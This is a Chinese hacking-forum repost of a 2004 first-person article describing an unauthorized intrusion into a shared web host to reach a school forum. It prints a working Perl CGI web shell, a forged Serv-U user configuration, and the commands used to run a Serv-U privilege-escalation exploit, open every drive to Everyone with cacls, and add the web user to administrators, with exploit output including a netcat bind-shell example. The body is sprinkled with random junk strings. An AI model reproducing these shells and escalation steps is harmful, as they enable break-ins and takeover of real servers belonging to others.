找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1953|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 + }3 E9 c! Z* C" q$ c* h
本文作者:angel, ^  m/ o! |1 z( R/ G% A
文章性质:原创
( r: l. C* m3 _, C2 z9 g发布日期:2004-11-09 4 @' \9 M" E. f! P
注意:& r/ l; Q, r  [* i
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
) s7 {5 @/ e8 y3 E% D- z8 a本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。4 w7 Y6 k. u  H" Y0 t; o  w0 T/ }  A
: e! ~* ?0 e* L& d* G2 Y
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 5 R  v/ g4 U) m( b% ~0 s

. S! a2 L# g% Z  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
; p# H8 T' k: _# [  _, w2 F/ {: {: w" N! I
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 7 y' j- U- M# }' S$ ~; e
: o& E% Y! B7 p8 a
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 9 A  d2 m3 m) o. P# N% D
3 y, T, V) g& ?; w7 c% x
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 # T+ r% h! R' t5 y$ U6 p
, Z3 f( n% V. J+ l- Y% w  b
  没有目的的跳转目录着……
3 @  B7 `. h, ?, E+ c& y( W, {. T6 n; _; ]% P
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
8 x' v1 N( z/ k4 e  g
/ x/ @  k" C7 H2 y: J: R0 k4 k  结束了吗?不,我试着 FTP 一下: : s" M4 b. G- a
) A- P; e+ ?& u, {5 _! }
Microsoft Windows 2000 [Version 5.00.2195]
  x3 ]$ p' ^* a( i8 ~(C) 版权所有 1985-2000 Microsoft Corp. % |. @6 M% L$ N' U
( J3 ?* @% t+ O/ C0 d8 ]3 W3 j
C:\Documents and Settings\Administrator>ftp www.school.com
1 d4 \( c6 b5 uConnected to www. school.com.
1 n% T( D) v( u: l9 X7 }1 j+ A220 Welcome to FTP Server... 6 S( u( C& k9 B- [
User (www.bjtrq.com:(none)):
" C) |. ?/ S. p331 User name okay, need password. 9 N% ]/ N8 z! h8 T8 x
Password: 1 U7 S! H0 @. y2 i; ?
530 Not logged in.
0 r' s" p3 q& cLogin failed. $ R7 d& W& c7 m. p' G( [; T9 A( t
ftp> bye
, X( ?( U" Y1 z% D, w" C) l) ^% n8 J) P9 ]221 Goodbye!
# t% G% O2 `- Z- F
  v  m# v- L6 l* k+ T6 c* G5 x- y# b+ K5 B) H9 R; B
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 9 J, @, t+ `0 q+ W; ]4 s) L; C
8 x+ U) y$ |  h1 T5 W
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 1 F( U$ E' \- l& p# ^7 ?+ K

, d9 O0 [6 N1 m" R; y; F( @! tApplication Data& Q# ^3 ?; \3 {. G# i1 R+ U
Documents+ d. R( L+ x9 Y4 O- U/ K9 Z! }
DRM
$ K1 O' `) l5 W4 zFavorites
6 p+ p- W5 p0 Q# x" GTemplates
% ?* P- [7 {" W5 ]「开始」菜单% _7 Y8 y# P' S" N0 H5 r9 y
桌面
6 b/ k! j! y1 D% `1 t
' ?, y. _" c8 y2 @8 o$ Y) F$ O2 i6 k7 ~& A' F" L- F3 j
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
# ]  _1 w/ @! C6 `2 j
  M- M4 Y* m7 U9 F& l$ qActiveState ActivePerl 5.8
& O- X8 a# N: ~4 q7 C# IAdministrative Tools: w3 v, o& w2 }
Deerfield.com, ~, x" K& {& K
DTemp" [9 E7 W" s2 B/ b
IPSentry4 K! d& K0 D3 |8 q* Y$ `' w
MBM 5
( G4 S9 z0 k$ R" [/ P5 j) fNetMeter6 P6 O0 b; l  b
Network ICE" O7 V/ x/ s8 b1 D
Persits Software AspEmail
8 p% L, G: T& f. e- KPersits Software AspJpeg
+ |9 p; \% z/ ?  s3 N) O& XServ-U FTP Server
/ \& ~' j3 n2 @0 n' USymantec Client Security
9 W# `' W0 f$ o/ A6 o/ VWindows 优化大师
. f5 ~7 P* Z3 J# wWinRAR- l/ T  T, I7 {" k
启动
: v! [  S& ~+ K  E5 M! @1 o8 E管理工具
4 B* s3 b; |' K4 f% h附件" Y: x; f5 \  o* i( P7 O9 \6 W9 |

: {) |1 c+ I6 C7 F' X! L4 n. C- B' d' B( J4 z
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 ; }0 c4 y+ G" R. ]4 @, {1 A4 K: c
& B9 y( J4 _" {6 E
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: , r! m2 Z! \4 M% S: {
: y8 J8 \! o+ A5 _* i# E) i/ ~
User281=angel|1|0
+ K/ C6 K* S! R. N! V) M' @5 q# s' z
: P" s7 z; u# B' ]6 \  s( o3 A1 `" c: v$ M2 a, X
  然后加上 $ M$ E! D( d! P6 z/ P& V

+ V4 [+ V) S2 q, R: {9 N8 S5 x6 |- h[USER=angel|1]/ ]6 W% |$ Z# i( L
Password=ng98F85379EA68DBF97BAADCA99B69B805
% l7 a4 ^! G( e8 Z1 jHomeDir=D:\websites
4 v0 Z6 E: |- x4 y1 _! D* W. ARelPaths=14 A6 I- L: p8 j2 p) ^/ A; j
TimeOut=600
- w) d7 T% \, v0 g2 ~% c9 {' pMaintenance=System
$ a8 ^. E- F/ P% F% bAccess1=D:\websites|RWAMELCDP
; q. ~' d3 C. J, ~SKEYValues=
4 y: c) F1 v* ~' Y- s; ]% w + D7 S$ O% O! Z7 c- @* q6 C
$ I* z' D- w+ [1 b: ]5 ^) M! s
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
+ j; r# u0 v) s$ K4 Y( X3 R/ j$ C. ]; I1 l; K/ B0 h, Z* }
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 0 H# _. X/ y2 @; Z' L3 R
  u4 i& R/ `% C; p( D/ p
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
' c/ |5 g& V4 K( _3 W7 b. J; g- U: g1 A4 I0 Z2 N/ z' l
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
2 j8 r* [+ ]- J  X
7 u) X" X$ b+ a  _0 Q0 m: o#!/usr/bin/perl
' Y. p5 R# y! `$ ybinmode(STDOUT);
3 W- v2 ^9 E: _( U% U6 N" P: esyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);1 r+ x" V; Z0 m6 S9 `& B% G
$_ = $ENV{QUERY_STRING};
6 p) `* a8 [. X- ?6 vs/%20/ /ig;! t# [. e+ @( y$ c/ S  D
s/%2f/\//ig;  x% N* w6 B" o: |
$execthis = $_;
. T5 b- S% b( ]/ wsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);: {4 ^2 x6 U! `7 Z8 S4 B' z
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";: x4 E* }7 q8 z
system($execthis);
1 k) r7 ?6 O: o9 c  u' l( Asyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);/ M  S& w5 z& \5 I& l
close(STDERR);
& a9 j; G( |3 ?* i- h- s$ bclose(STDOUT);
' p0 w# v5 j& l' b1 X9 ]5 eexit;
9 Y" ]9 a5 {1 Z
' o6 X& P' P* X8 E/ m
6 [0 b, s3 x# J, o; _, K7 p4 V  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
0 L8 b& P  s1 M' o8 y! L  U8 y8 V( x1 s1 x& e3 ^; d
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: 6 M0 s+ e5 Q" Y# m  H: J% L

6 ]7 Q- [/ s# ahttp://anyhost//cmd.pl?d:\user\bin\su.exe ; P, ]- V* k7 D# o$ |+ C

8 ^+ [8 L; Y9 [! {2 c- q; ?# y2 v# Q8 [! Y+ J% {- ^, }4 t; m: ~
  返回:
; a9 A; ], ?4 e/ Y5 G  T" _3 R0 w8 A5 \
Serv-u >3.x Local Exploit by xiaolu 9 J# t" l# C9 J# T; t

/ X3 v; T  |0 ]7 c; e8 KUSAGE: serv-u.exe "command"
1 l% O- |1 O7 z. N. D# h& f, L/ N1 r0 J) |& ^" r$ |! j$ O6 X! ~, L
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 4 M' m" g; i$ g  a9 a" m0 v4 M

' h& E* J% b  v- y( B* C
; z3 c: W& ^* m; _9 ?6 V  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
! k8 Y: s1 i5 c* {
4 E0 h' H0 p2 Q2 Xhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 0 G! }# P; d, G6 p- u- v: A' A* |
; E5 n8 N& G3 T( I& x
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
1 {/ k6 x% J- p( T  R& K3 W% z
0 B7 p/ _/ s/ c4 S6 Chttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" 0 K6 a3 \, f# P! {; V4 z) t2 i2 {# C

7 V% @, I% A$ S2 J5 ?8 \http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
& [3 w' ]( L0 M! P! G! R! w4 v - @0 m5 J2 K- P* f& p/ n8 B

. v1 V7 V# e* d9 h( o! X1 R+ X  e  返回下面的信息,就表示成功了!!! - z: `; n- o, }5 P; y: }

7 H. B: P  L0 R( P* {/ A! t" u' x7 l$ }: KServ-u >3.x Local Exploit by xiaolu $ I7 Q5 b1 I. [/ X7 |. v
7 J$ Z, y# [/ T5 k+ s  f& Z, q  Q3 s
<220 Serv-U FTP Server v5.2 for WinSock ready...
4 W- W: n% u0 Q" q. L( I+ Q' c' Z4 y3 x* h0 Q# }% _
>USER LocalAdministrator , B( `) z- n" h3 N& ~8 X

) G6 P6 I2 d6 I: I* L6 d% b9 |0 A<331 User name okay, need password. ! l' b. a0 a+ p) h
; U7 a7 F5 ?4 ^. |) O
******************************************************
9 n' y/ n: N: m' w' M+ D+ M  A7 a2 C) r9 j5 ^1 Q. t
>PASS #l@$ak#.lk;0@P % [( `( ~  B$ H, \3 O% O2 R
2 m' Y+ Q. ]- i3 {, Z& Q
<230 User logged in, proceed. : l+ _, z9 Y/ v% W$ o

( o! O) p* w( @  b* s* v1 g: d" E******************************************************
7 _" X# e' V2 D/ K" Y! E5 ~* S. H: H9 L3 y: z: H) x$ L3 ?
>SITE MAINTENANCE - @. [6 m7 a7 x" E% H. u$ ~

/ M; I; I* p: ^2 c7 O$ `/ ^******************************************************
6 p1 p5 {1 l$ N% ~! z9 B
+ h' k, u- t0 ]% |: y9 ]! M[+] Creating New Domain... ' m+ F4 i2 p" d' l' z8 b. {
; d7 C+ L9 ?- t, Q  x9 j
<200-DomainID=2
6 O1 I8 T, v: ~$ G6 a- i* c/ q  p; ~% e/ S" Z9 G" s/ |
<220 Domain settings saved / n; {+ J( g9 E( `, O) Q( n
% Y/ H! i  h8 g
****************************************************** , B8 N" N5 O5 @

6 I! {7 l- h# [* s  h2 N[+] Domain xl:2 Created " J1 w5 H7 I! C. `. \  @6 t' B

2 U" d, n$ Q4 k[+] Creating Evil User 0 t* ~/ H3 m* }3 d  \5 ^% c6 j4 d
0 |: o$ X3 Z' K8 x
<200-User=xl 6 M9 ^( O+ S8 }7 h7 Q& d
( f% o( W! J/ Y8 M
200 User settings saved
# ?1 h; n6 c8 R! `! n; C, J2 c/ c" p6 H/ E2 u! U
****************************************************** ) I, R- s0 d* Y. o. D! L

! B* R. u' w+ b3 a0 e$ y[+] Now Exploiting... / w2 Y8 J8 A* {6 @) v& r/ f( {0 Y
/ S; t( z  i" Y- b) |- O
>USER xl
  E9 \. r# Q( v! k; e7 W  z6 l( U$ e- i+ o, H7 z* R" i$ q  K
<331 User name okay, need password.
9 m  D" O1 e) m6 h3 G+ T" _3 q6 P- Y) O- H
****************************************************** / l  V; W  s8 H
) Q( j  V1 k' `; h' H' i5 B" E; B
>PASS 111111 . w9 f/ H$ r9 y" \* K: [3 F

3 ^1 N7 s1 X* }, S<230 User logged in, proceed.
& P7 G  W0 d7 Y: d; N+ u0 w& }# j# x" U/ p
******************************************************
- ], S/ x! E% F- H  o  B0 G. ^* o# ^% y4 c& E
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
9 W' a1 C) |/ V! j& {; O9 O: o/ n, {. p" U3 o) O1 b
<220 Domain deleted
1 r2 T  B6 G3 O( N5 w$ S) a! t5 f2 u, m9 T4 E
****************************************************** 7 f8 _/ ?; b+ J& F9 k# t

; {$ N# [; O3 c2 w# K7 l; Z
  A. Q0 x' @2 r* X1 q) N& o  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: ! c. \) q; V0 V3 q+ ?

$ f0 _2 v, F; P, ?" `- A) Thttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
; W; ]  ~0 A7 [/ ]
  l0 j2 p! K( U
2 [# c" U( o9 j0 Z1 L! d/ b  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。   }' c: j0 l+ H5 _8 C' Z

- ?5 ~/ x0 @9 c$ d/ R1 m4 ]  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
8 C9 }( D2 L, e& T# M+ l
( V. n# ^1 y! Q3 L. L( H% b. A2 }' N+ z  
2 W3 O7 k3 Q$ D6 Q: G  L- B( U# D; s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表